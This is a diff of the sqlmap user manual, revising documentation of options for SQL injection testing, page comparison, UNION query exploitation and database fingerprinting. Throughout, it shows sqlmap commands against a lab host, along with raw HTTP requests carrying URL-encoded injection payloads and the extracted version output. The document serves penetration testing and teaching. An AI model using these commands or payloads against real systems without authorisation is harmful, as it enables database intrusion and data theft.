Delay in seconds between each HTTP request @@ -1114,7 +1298,7 @@ Option: --delay It is possible to specify a number of seconds to wait between each HTTP -request. The valid value is a float, for instance 0.5. +request. The valid value is a float, for instance 0.5 means half a second.
Seconds to wait before timeout connection @@ -1124,12 +1308,17 @@ Option: --timeout It is possible to specify a number of seconds to wait before considering -the HTTP connection timed out. The valid value is a float, for instance -10.5. +the HTTP request timed out. The valid value is a float, for instance +10.5 means ten seconds and a half.
Injection + +These options can be used to specify which parameters to test for, provide +custom injection payloads and how to parse and compare HTTP responses page +content when using the blind SQL injection technique. +
Testable parameter(s) @@ -1143,10 +1332,10 @@ possible to manually specificy the parameter(s) you want sqlmap to perform tests on comma separeted in order to skip dynamicity tests and perform SQL injection test and inject directly only against the provided parameter(s). -Example on a
PostgreSQL 8.2.7 target: +Example on aPostgreSQL 8.3.5 target:-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 1 \ -p "id" [hh:mm:48] [INFO] testing connection to the target url @@ -1176,7 +1365,7 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&ca You can also test only the HTTP User-Agent header. -Example on a
MySQL 5.0.51 target: +Example on aMySQL 5.0.67 target:@@ -1236,23 +1427,24 @@ it is MySQL < 5.0 or MySQL >= 5.0. To avoid also this check you can provide instead MySQL 4 or MySQL 5. -Example on a $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/ua_str.php" -v 1 \ @@ -1208,7 +1397,9 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/ua_str.php" -v 1 \ [hh:mm:41] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1 [hh:mm:41] [INFO] retrieved: 4 [hh:mm:41] [INFO] performed 13 queries in 0 seconds -back-end DBMS: MySQL >= 5.0.0 +web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) +web application technology: PHP 5.2.6, Apache 2.2.9 +back-end DBMS: MySQL >= 5.0.0 PostgreSQL 8.2.7 target: +Example on aPostgreSQL 8.3.5 target:-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 2 \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 2 \ --dbms "PostgreSQL" [...] [hh:mm:31] [DEBUG] skipping to test for MySQL [hh:mm:31] [DEBUG] skipping to test for Oracle +web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) +web application technology: PHP 5.2.6, Apache 2.2.9 back-end DBMS: PostgreSQL In case you provide --fingerprint together with --dbms, sqlmap will only perform the extensive fingerprint for the specified -database management system, read the following section for further -details. +database management system, read below for further details.
Note that this option is
not mandatory and it is strongly @@ -1267,7 +1459,62 @@ automatically identify it for you. Options: --prefix and --postfix-TODO +In some circumstances the vulnerable parameter is exploitable only if the +user provides a postfix to be appended to the injection payload. +Another scenario where these options come handy presents itself when the +user already knows that query syntax and want to detect and exploit the +SQL injection by directly providing a injection payload prefix and/or +postfix. + +
+Example on a
MySQL 5.0.67 target on a page where the SQL query is: +$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";: + ++ + +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_str_brackets.php?id=1" -v 3 \ + -p "id" --prefix "'" --postfix "AND 'test'='test" + +[...] +[hh:mm:16] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis +[hh:mm:16] [INFO] testing custom injection on GET parameter 'id' +[hh:mm:16] [TRAFFIC OUT] HTTP request: +GET /sqlmap/mysql/get_str_brackets.php?id=1%27%29%20AND%207433=7433%20AND%20 +%28%27test%27=%27test HTTP/1.1 +Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 +Host: 192.168.1.121:80 +Accept-language: en-us,en;q=0.5 +Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, +image/png,*/*;q=0.5 +User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net) +Connection: close +[...] +[hh:mm:17] [INFO] GET parameter 'id' is custom injectable +[...] + +As you can see, the injection payload for testing for custom injection is: + +
+ +which URL decoded is: + + +id=1%27%29%20AND%207433=7433%20AND%20%28%27test%27=%27test + + +and makes the query syntatically correct to the page query: + + +id=1') AND 7433=7433 AND ('test'='test + + + +SELECT * FROM users WHERE id=('1') AND 7433=7433 AND ('test'='test') LIMIT 0, 1 + +In this simple example sqlmap could detect the SQL injection and exploit it +without need to provide a custom injection payload, but sometimes on real +world application it is necessary to provide a custom injection payload.
Page comparison @@ -1276,35 +1523,39 @@ TODO Options: --string and --regexp -TODO By default the distinction of a True query by a False one (basic concept -for standard blind SQL injection attacks) is done comparing injected pages -content MD5 hash with the original not-injected page content MD5. Not -always this concept works because sometimes the page content changes at -each refresh, for instance when the page has a counter, a dynamic -advertisment banner or any other part of the HTML which is render -dynamically and might change in time not only consequently to user's -input. +for Inferential Blind SQL injection attacks) is done comparing injected +requests page content MD5 hash with the original not injected page content +MD5 hash. +Not always this concept works because sometimes the page content changes at +each refresh even not injecting anything, for instance when the page has a +counter, a dynamic advertisment banner or any other part of the HTML which +is render dynamically and might change in time not only consequently to +user's input. To bypass this limit, sqlmap makes it possible to manually provide a -string which is
always present on the not-injected page +string which isalways present on the not injected pageand on all True injected query pages, but that it isnot -on the False ones. +on the False ones. This can also be achieved by providing a regular +expression. Such information is easy for an user to retrieve, simply try to inject on -the affected URL parameter an invalid value and compare original output -with the wrong output to identify which string is on True page only. -This way the distinction will be based upon string match and not page MD5 -hash comparison. +the affected URL parameter an invalid value and compare original (not +injected) page content with the injected wrong page content to identify +which string or regular expression match is on not injected and True page +only. +This way the distinction will be based upon string presence or regular +expression match and not page MD5 hash comparison. -Example on aMySQL 5.0.51 target: +Example on aMySQL 5.0.67 target on a page which content changes +every second due to a call to PHP function time():-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1&cat=2" \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" \ -v 5 [...] [hh:mm:50] [INFO] testing if the url is stable, wait a few seconds [hh:mm:50] [TRAFFIC OUT] HTTP request: -GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1 +GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1 Host: 192.168.1.121:80 User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net) Connection: close @@ -1326,7 +1577,7 @@ Content-Type: text/html </body></html><p>Dynamic content: 1216996190</p> [hh:mm:51] [TRAFFIC OUT] HTTP request: -GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1 +GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1 Host: 192.168.1.121:80 User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net) Connection: close @@ -1348,7 +1599,7 @@ Content-Type: text/html </body></html><p>Dynamic content: 1216996191</p> [hh:mm:51] [TRAFFIC OUT] HTTP request: -GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1 +GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1 Host: 192.168.1.121:80 User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net) Connection: close @@ -1369,8 +1620,8 @@ Content-Type: text/html </table> </body></html><p>Dynamic content: 1216996191</p> -[hh:mm:51] [ERROR] url is not stable, try with --string option, refer to the user's manual -paragraph 'String match' for details +[hh:mm:51] [ERROR] url is not stable, try with --string or --regexp options, refer to +the user's manual paragraph 'Page comparison' for details @@ -1383,13 +1634,16 @@ than that. Looking at the HTTP responses page content you can see that the first five lines of code do not change at all. So choosing for instance the word luther as an output that is -on the True page content and it is not on the False page content and -passing it to sqlmap, you should be able to inject anyway. +on the not injected page content and it is not on the False page content +(because the query condition returns no output so luther is not +displayed on the page content) and passing it to sqlmap, you are able to +inject anyway. -Example on a
MySQL 5.0.51 target: +Example on aMySQL 5.0.67 target on a page which content changes +every second due to a call to PHP function time():-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1&cat=2" \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" \ --string "luther" -v 1 [hh:mm:22] [INFO] testing connection to the target url @@ -1403,26 +1657,92 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id= [hh:mm:22] [INFO] testing numeric/unescaped injection on GET parameter 'id' [hh:mm:22] [INFO] confirming numeric/unescaped injection on GET parameter 'id' [hh:mm:22] [INFO] GET parameter 'id' is numeric/unescaped injectable -[hh:mm:22] [INFO] testing if GET parameter 'cat' is dynamic -[hh:mm:22] [WARNING] GET parameter 'cat' is not dynamic [hh:mm:22] [INFO] testing for parenthesis on injectable parameter [hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis [...] -As you can see, when this option is specified, sqlmap skips the URL -stability test. +You can also specify a regular expression to match rather than a string if +you prefer. + +Example on a
MySQL 5.0.67 target on a page which content changes +every second due to a call to PHP function time(): + ++$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" \ + --regexp " lu[\w][\w]er" -v 1 + +[hh:mm:22] [INFO] testing connection to the target url +[hh:mm:22] [INFO] testing if the provided regular expression matches within the target +URL page content +[hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic +[hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic +[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic +[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic +[hh:mm:22] [INFO] GET parameter 'id' is dynamic +[hh:mm:22] [INFO] testing sql injection on GET parameter 'id' +[hh:mm:22] [INFO] testing numeric/unescaped injection on GET parameter 'id' +[hh:mm:22] [INFO] confirming numeric/unescaped injection on GET parameter 'id' +[hh:mm:22] [INFO] GET parameter 'id' is numeric/unescaped injectable +[hh:mm:22] [INFO] testing for parenthesis on injectable parameter +[hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis +[...] + -Consider this option a must when you are dealing with a page which -content that changes itself at each refresh without modifying the user's -input. +As you can see, when one of these options is specified, sqlmap skips the +URL stability test. + +
+
Consider one of these options a must when you are dealing with a page +which content that changes itself at each refresh without modifying the +user's input . + + +Exclude specific page content + + +Options: --excl-str and --excl-reg + +
+Another way to get around the dynamicity issue above explained is to exclude +the dynamic part from the page content before processing it. + +
+As you see in the above example the number after Dynamic content: +was dynamic and changed each second. To get around of this problem we could +use the above explained page comparison options or exclude this snippet of +dynamic text from the page before processing it and comparing it with the +not injected page. + +
+ + +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" \ + --excl-reg "Dynamic content: ([\d]+)" + +[hh:mm:22] [INFO] testing connection to the target url +[hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic +[hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic +[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic +[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic +[hh:mm:22] [INFO] GET parameter 'id' is dynamic +[hh:mm:22] [INFO] testing sql injection on GET parameter 'id' +[hh:mm:22] [INFO] testing numeric/unescaped injection on GET parameter 'id' +[hh:mm:22] [INFO] confirming numeric/unescaped injection on GET parameter 'id' +[hh:mm:22] [INFO] GET parameter 'id' is numeric/unescaped injectable +[hh:mm:22] [INFO] testing for parenthesis on injectable parameter +[hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis +[...] + +As you can see, when this options is specified, sqlmap skips the URL +stability test.
Techniques - Test for Time Based blind SQL injection + Test for Time based blind SQL injection Option: --time-test @@ -1446,7 +1766,7 @@ technique. Example on an
Oracle XE 10.2.0.1 target:-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" \ --union-test -v 1 [...] @@ -1455,30 +1775,33 @@ back-end DBMS: Oracle [hh:mm:55] [INFO] testing inband sql injection on parameter 'id' [hh:mm:55] [INFO] the target url could be affected by an inband sql injection vulnerability valid union: 'http://192.168.1.121:80/sqlmap/oracle/get_int.php?id=1 UNION ALL SELECT -NULL, NULL, NULL FROM DUAL-- AND 5601=5601&cat=2' +NULL, NULL, NULL FROM DUAL-- AND 5601=5601' -Example on a
PostgreSQL 8.2.7 target: +Example on aPostgreSQL 8.3.5 target:-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1&cat=2" \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1" \ --union-test -v 1 [...] -back-end DBMS: PostgreSQL +web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) +web application technology: PHP 5.2.6, Apache 2.2.9 +back-end DBMS: PostgreSQL -[hh:mm:05] [INFO] testing inband sql injection on parameter 'id' -[hh:mm:05] [INFO] the target url could be affected by an inband sql injection vulnerability -valid union: 'http://192.168.1.121:80/sqlmap/pgsql/get_str.php?id=1' UNION ALL SELECT -NULL, NULL, NULL-- AND 'QOAtA'='QOAtA&cat=2' +[hh:mm:29] [INFO] testing inband sql injection on parameter 'id' +[hh:mm:29] [INFO] the target url could be affected by an inband sql injection vulnerability +valid union: 'http://192.168.1.121:80/sqlmap/pgsql/get_str.php?id=1' UNION ALL SELECT NULL, +NULL, NULL-- AND 'iBEMR'='iBEMR' As you can see, the target URL parameter id might be also affected by an inband SQL injection. In case this vulnerability is exploitable it is strongly recommended to -use it. +use this technique which saves a lot of time. +
Use the UNION query SQL injection @@ -1488,15 +1811,19 @@ Option: --union-use Providing the --union-use parameter, sqlmap will first test if the target URL is affected by an
inband SQL injection -(--union-test) vulnerability then, in case it is vulnerable and -exploitable, it will trigger this vulnerability to retrieve the output of -the SELECT queries. +(--union-test) vulnerability then, in case it seems to be +vulnerable, it will confirm that the parameter is affected by aFull +UNION query SQL injection and use this technique to go ahead with the +exploiting. +If the confirmation fails, it will check if the parameter is affected by +aPartial UNION query SQL injection , then use it to go ahead if it +is vulnerable.Example on a
Microsoft SQL Server 2000 Service Pack 0 target:-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -v 1 \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -v 1 \ --union-use --banner [...] @@ -1505,8 +1832,8 @@ back-end DBMS: Microsoft SQL Server 2000 [hh:mm:42] [INFO] fetching banner [hh:mm:42] [INFO] testing inband sql injection on parameter 'id' [hh:mm:42] [INFO] the target url could be affected by an inband sql injection vulnerability -[hh:mm:42] [INFO] confirming inband sql injection on parameter 'id' -[hh:mm:42] [INFO] the target url is affected by an exploitable inband sql injection +[hh:mm:42] [INFO] confirming full inband sql injection on parameter 'id' +[hh:mm:42] [INFO] the target url is affected by an exploitable full inband sql injection vulnerability [hh:mm:42] [INFO] query: UNION ALL SELECT NULL, (CHAR(110)+CHAR(83)+CHAR(68)+CHAR(80)+ CHAR(84)+CHAR(70))+ISNULL(CAST(@@VERSION AS VARCHAR(8000)), (CHAR(32)))+(CHAR(70)+CHAR(82)+ @@ -1523,27 +1850,30 @@ Microsoft SQL Server 2000 - 8.00.194 (Intel X86) As you can see, the vulnerable parameter (id) is affected by both -blind SQL injection and exploitable inband SQL injection vulnerabilities. +blind SQL injection and exploitable full inband SQL injection +vulnerabilities.
-Example on a
MySQL 5.0.51 target: +Example on aMySQL 5.0.67 target:-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 5 \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 5 \ --union-use --banner [...] -[hh:mm:25] [INFO] the target url is affected by an exploitable inband sql injection +[hh:mm:25] [INFO] the target url is affected by an exploitable full inband sql injection vulnerability [hh:mm:25] [INFO] query: UNION ALL SELECT NULL, CONCAT(CHAR(98,108,76,79,106,78), -IFNULL(CAST(VERSION() AS CHAR(10000)), CHAR(32)),CHAR(122,110,105,89,121,65)), NULL-- -AND 6043=6043 +VERSION(),CHAR(122,110,105,89,121,65)), NULL# AND 6043=6043 [hh:mm:25] [TRAFFIC OUT] HTTP request: GET /sqlmap/mysql/get_int.php?id=1%20UNION%20ALL%20SELECT%20NULL%2C%20CONCAT%28CHAR%2898 %2C108%2C76%2C79%2C106%2C78%29%2CIFNULL%28CAST%28VERSION%28%29%20AS%20CHAR%2810000%29%29 -%2C%20CHAR%2832%29%29%2CCHAR%28122%2C110%2C105%2C89%2C121%2C65%29%29%2C%20NULL--%20AND%2 -06043=6043&cat=2 HTTP/1.1 +%2C%20CHAR%2832%29%29%2CCHAR%28122%2C110%2C105%2C89%2C121%2C65%29%29%2C%20NULL%23%20AND%2 +06043=6043 HTTP/1.1 +Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: 192.168.1.121:80 +Accept-language: en-us,en;q=0.5 +Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net) Connection: close @@ -1560,12 +1890,12 @@ Content-Type: text/html <b>SQL results:</b> <table border="1"> <tr><td>1</td><td>luther</td><td>blissett</td></tr> -<tr><td></td><td>blLOjN5.0.51a-3ubuntu5.2zniYyA</td><td></td></tr> +<tr><td></td><td>FPMIFA5.0.67-0ubuntu6zFQAiQ</td><td></td></tr> </table> </body></html> [hh:mm:25] [INFO] performed 3 queries in 0 seconds -banner: '5.0.51a-3ubuntu5.2' +banner: '5.0.67-0ubuntu6' @@ -1573,6 +1903,9 @@ As you can see, the MySQL version() function (banner) output is nested (inband) within the HTTP response page, this makes the inband SQL injection exploitable. +
+TODO: details on partial ... +
Fingerprint @@ -1589,60 +1922,81 @@ value it is possible to identify if the back-end database is effectively the one that sqlmap expected. After identifying an injectable vector, sqlmap fingerprints the back-end -database management system and performs the following queries with their +database management system and go ahead with the injection with their specific syntax within the limits of the database architecture. -If you want to perform a more accurate database management system -fingerprint based on various techniques like specific SQL dialects and -inband error messages, you can provide the --fingerprint option. - -The order of database management systems that sqlmap tests for is: - - - -- MySQL -
- Oracle -
- PostgreSQL -
- Microsoft SQL Server -
-Example on a
MySQL 5.0.51 target: +Example on aMySQL 5.0.67 target:+ + -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 -f +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 [...] -[hh:mm:02] [INFO] testing MySQL -[hh:mm:02] [INFO] query: CONCAT(CHAR(52), CHAR(52)) -[hh:mm:02] [INFO] retrieved: 44 -[hh:mm:02] [INFO] performed 20 queries in 0 seconds -[hh:mm:02] [INFO] confirming MySQL -[hh:mm:02] [INFO] query: LENGTH(CHAR(52)) -[hh:mm:02] [INFO] retrieved: 1 -[hh:mm:02] [INFO] performed 13 queries in 0 seconds -[hh:mm:02] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1 -[hh:mm:02] [INFO] retrieved: 4 -[hh:mm:02] [INFO] performed 13 queries in 0 seconds -[hh:mm:02] [INFO] query: DATABASE() -[hh:mm:02] [INFO] retrieved: test -[hh:mm:02] [INFO] performed 34 queries in 0 seconds -[hh:mm:02] [INFO] query: SCHEMA() -[hh:mm:02] [INFO] retrieved: test -[hh:mm:02] [INFO] performed 34 queries in 0 seconds -[hh:mm:02] [INFO] query: SELECT 4 FROM information_schema.PARTITIONS LIMIT 0, 1 -[hh:mm:02] [INFO] retrieved: -[hh:mm:02] [INFO] performed 6 queries in 0 seconds -[hh:mm:02] [INFO] executing MySQL comment injection fingerprint -back-end DBMS: active fingerprint: MySQL >= 5.0.2 and < 5.1 - comment injection fingerprint: MySQL 5.0.51 - html error message fingerprint: MySQL +[hh:mm:14] [INFO] testing MySQL +[hh:mm:14] [INFO] query: CONCAT(CHAR(51), CHAR(51)) +[hh:mm:14] [INFO] retrieved: 33 +[hh:mm:14] [INFO] performed 20 queries in 0 seconds +[hh:mm:14] [INFO] confirming MySQL +[hh:mm:14] [INFO] query: LENGTH(CHAR(51)) +[hh:mm:14] [INFO] retrieved: 1 +[hh:mm:14] [INFO] performed 13 queries in 0 seconds +[hh:mm:14] [INFO] query: SELECT 3 FROM information_schema.TABLES LIMIT 0, 1 +[hh:mm:14] [INFO] retrieved: 3 +[hh:mm:14] [INFO] performed 13 queries in 0 seconds +web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) +web application technology: PHP 5.2.6, Apache 2.2.9 +back-end DBMS: MySQL >= 5.0.0 + +As you can see, sqlmap automatically fingerprints the web server operating +system and the web application technology by parsing some HTTP response headers. + +
+If you want to perform an extensive database management system fingerprint +based on various techniques like specific SQL dialects and inband error +messages, you can provide the --fingerprint option. + +
+Example on a
MySQL 5.0.67 target: + ++$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 -f + +[...] +[hh:mm:14] [INFO] testing MySQL +[hh:mm:14] [INFO] query: CONCAT(CHAR(52), CHAR(52)) +[hh:mm:14] [INFO] retrieved: 44 +[hh:mm:14] [INFO] performed 20 queries in 0 seconds +[hh:mm:14] [INFO] confirming MySQL +[hh:mm:14] [INFO] query: LENGTH(CHAR(52)) +[hh:mm:14] [INFO] retrieved: 1 +[hh:mm:14] [INFO] performed 13 queries in 0 seconds +[hh:mm:14] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1 +[hh:mm:14] [INFO] retrieved: 4 +[hh:mm:14] [INFO] performed 13 queries in 0 seconds +[hh:mm:14] [INFO] query: SELECT 4 FROM information_schema.PARAMETERS LIMIT 0, 1 +[hh:mm:14] [INFO] retrieved: +[hh:mm:14] [INFO] performed 6 queries in 0 seconds +[hh:mm:14] [INFO] query: MID(@@plugin_dir, 1, 1) +[hh:mm:14] [INFO] retrieved: +[hh:mm:14] [INFO] performed 6 queries in 0 seconds +[hh:mm:14] [INFO] query: MID(@@hostname, 1, 1) +[hh:mm:14] [INFO] retrieved: n +[hh:mm:14] [INFO] performed 13 queries in 0 seconds +[hh:mm:14] [INFO] executing MySQL comment injection fingerprint +web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) +web application technology: PHP 5.2.6, Apache 2.2.9 +back-end DBMS: active fingerprint: MySQL >= 5.0.38 and < 5.1.2 + comment injection fingerprint: MySQL 5.0.67 + html error message fingerprint: MySQL Example on an
Oracle XE 10.2.0.1 target:-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" -v 1 -f +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" -v 1 -f [...] [hh:mm:26] [WARNING] the back-end DMBS is not MySQL @@ -1654,43 +2008,50 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&c [hh:mm:26] [INFO] query: SELECT VERSION FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1 [hh:mm:26] [INFO] retrieved: 10.2.0.1.0 [hh:mm:27] [INFO] performed 76 queries in 0 seconds +web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) +web application technology: PHP 5.2.6, Apache 2.2.9 back-end DBMS: active fingerprint: Oracle 10g html error message fingerprint: Oracle -Example on a
PostgreSQL 8.2.7 target: +Example on aPostgreSQL 8.3.5 target:-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 -f +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 1 -f [...] -[hh:mm:56] [WARNING] the back-end DMBS is not Oracle -[hh:mm:56] [INFO] testing PostgreSQL -[hh:mm:56] [INFO] query: COALESCE(7, NULL) -[hh:mm:56] [INFO] retrieved: 7 -[hh:mm:56] [INFO] performed 13 queries in 0 seconds -[hh:mm:56] [INFO] confirming PostgreSQL -[hh:mm:56] [INFO] query: LENGTH((CHR(55))) -[hh:mm:56] [INFO] retrieved: 1 -[hh:mm:56] [INFO] performed 13 queries in 0 seconds -[hh:mm:56] [INFO] query: SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1) -[hh:mm:56] [INFO] retrieved: 2 -[hh:mm:56] [INFO] performed 13 queries in 0 seconds -back-end DBMS: active fingerprint: PostgreSQL >= 8.2.0 - html error message fingerprint: PostgreSQL +[hh:mm:48] [WARNING] the back-end DMBS is not Oracle +[hh:mm:48] [INFO] testing PostgreSQL +[hh:mm:48] [INFO] query: COALESCE(6, NULL) +[hh:mm:48] [INFO] retrieved: 6 +[hh:mm:48] [INFO] performed 13 queries in 0 seconds +[hh:mm:48] [INFO] confirming PostgreSQL +[hh:mm:48] [INFO] query: LENGTH(CHR(54)) +[hh:mm:48] [INFO] retrieved: 1 +[hh:mm:48] [INFO] performed 13 queries in 0 seconds +[hh:mm:48] [INFO] query: SUBSTR(TRANSACTION_TIMESTAMP()::text, 1, 1) +[hh:mm:48] [INFO] retrieved: 2 +[hh:mm:48] [INFO] performed 13 queries in 0 seconds +[hh:mm:48] [INFO] query: SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1) +[hh:mm:48] [INFO] retrieved: +[hh:mm:48] [INFO] performed 6 queries in 0 seconds +web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) +web application technology: PHP 5.2.6, Apache 2.2.9 +back-end DBMS: active fingerprint: PostgreSQL >= 8.3.0 + html error message fingerprint: PostgreSQL As you can see from this last example, sqlmap first tested for MySQL, then for Oracle, then for PostgreSQL since the user did not forced the -back-end database management system name. +back-end database management system name with option --dbms.
Example on a
Microsoft SQL Server 2000 Service Pack 0 target:@@ -1710,48 +2073,55 @@ If you want an even more accurate result, based also on banner parsing, you can also provide the -b or --banner option. -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -v 1 -f +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -v 1 -f [...] [hh:mm:41] [WARNING] the back-end DMBS is not PostgreSQL @@ -1701,6 +2062,8 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&ca [hh:mm:41] [INFO] query: SELECT SUBSTRING((@@VERSION), 25, 1) [hh:mm:41] [INFO] retrieved: 0 [hh:mm:41] [INFO] performed 13 queries in 0 seconds +web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) +web application technology: PHP 5.2.6, Apache 2.2.9 back-end DBMS: active fingerprint: Microsoft SQL Server 2000 html error message fingerprint: Microsoft SQL Server -Example on a
MySQL 5.0.51 target: +Example on aMySQL 5.0.67 target:+ -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 -f -b +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 -f -b [...] -[hh:mm:11] [INFO] testing MySQL -[hh:mm:11] [INFO] query: CONCAT(CHAR(52), CHAR(52)) -[hh:mm:11] [INFO] retrieved: 44 -[hh:mm:11] [INFO] performed 20 queries in 0 seconds -[hh:mm:11] [INFO] confirming MySQL -[hh:mm:11] [INFO] query: LENGTH(CHAR(52)) -[hh:mm:11] [INFO] retrieved: 1 -[hh:mm:11] [INFO] performed 13 queries in 0 seconds -[hh:mm:11] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1 -[hh:mm:11] [INFO] retrieved: 4 -[hh:mm:11] [INFO] performed 13 queries in 0 seconds -[hh:mm:11] [INFO] query: DATABASE() -[hh:mm:11] [INFO] retrieved: test -[hh:mm:11] [INFO] performed 34 queries in 0 seconds -[hh:mm:11] [INFO] query: SCHEMA() -[hh:mm:11] [INFO] retrieved: test -[hh:mm:11] [INFO] performed 34 queries in 0 seconds -[hh:mm:11] [INFO] query: SELECT 4 FROM information_schema.PARTITIONS LIMIT 0, 1 -[hh:mm:11] [INFO] retrieved: -[hh:mm:11] [INFO] performed 6 queries in 0 seconds -[hh:mm:11] [INFO] query: VERSION() -[hh:mm:11] [INFO] retrieved: 5.0.51a-3ubuntu5.2 -[hh:mm:12] [INFO] performed 132 queries in 0 seconds -[hh:mm:12] [INFO] executing MySQL comment injection fingerprint -back-end DBMS: active fingerprint: MySQL >= 5.0.2 and < 5.1 - comment injection fingerprint: MySQL 5.0.51 - banner parsing fingerprint: MySQL 5.0.51 - html error message fingerprint: MySQL +[hh:mm:24] [INFO] testing MySQL +[hh:mm:24] [INFO] query: CONCAT(CHAR(52), CHAR(52)) +[hh:mm:24] [INFO] retrieved: 44 +[hh:mm:24] [INFO] performed 20 queries in 0 seconds +[hh:mm:24] [INFO] confirming MySQL +[hh:mm:24] [INFO] query: LENGTH(CHAR(52)) +[hh:mm:24] [INFO] retrieved: 1 +[hh:mm:24] [INFO] performed 13 queries in 0 seconds +[hh:mm:24] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1 +[hh:mm:24] [INFO] retrieved: 4 +[hh:mm:24] [INFO] performed 13 queries in 0 seconds +[hh:mm:24] [INFO] query: VERSION() +[hh:mm:24] [INFO] retrieved: 5.0.67-0ubuntu6 +[hh:mm:25] [INFO] performed 111 queries in 0 seconds +[hh:mm:25] [INFO] query: SELECT 4 FROM information_schema.PARAMETERS LIMIT 0, 1 +[hh:mm:25] [INFO] retrieved: +[hh:mm:25] [INFO] performed 6 queries in 0 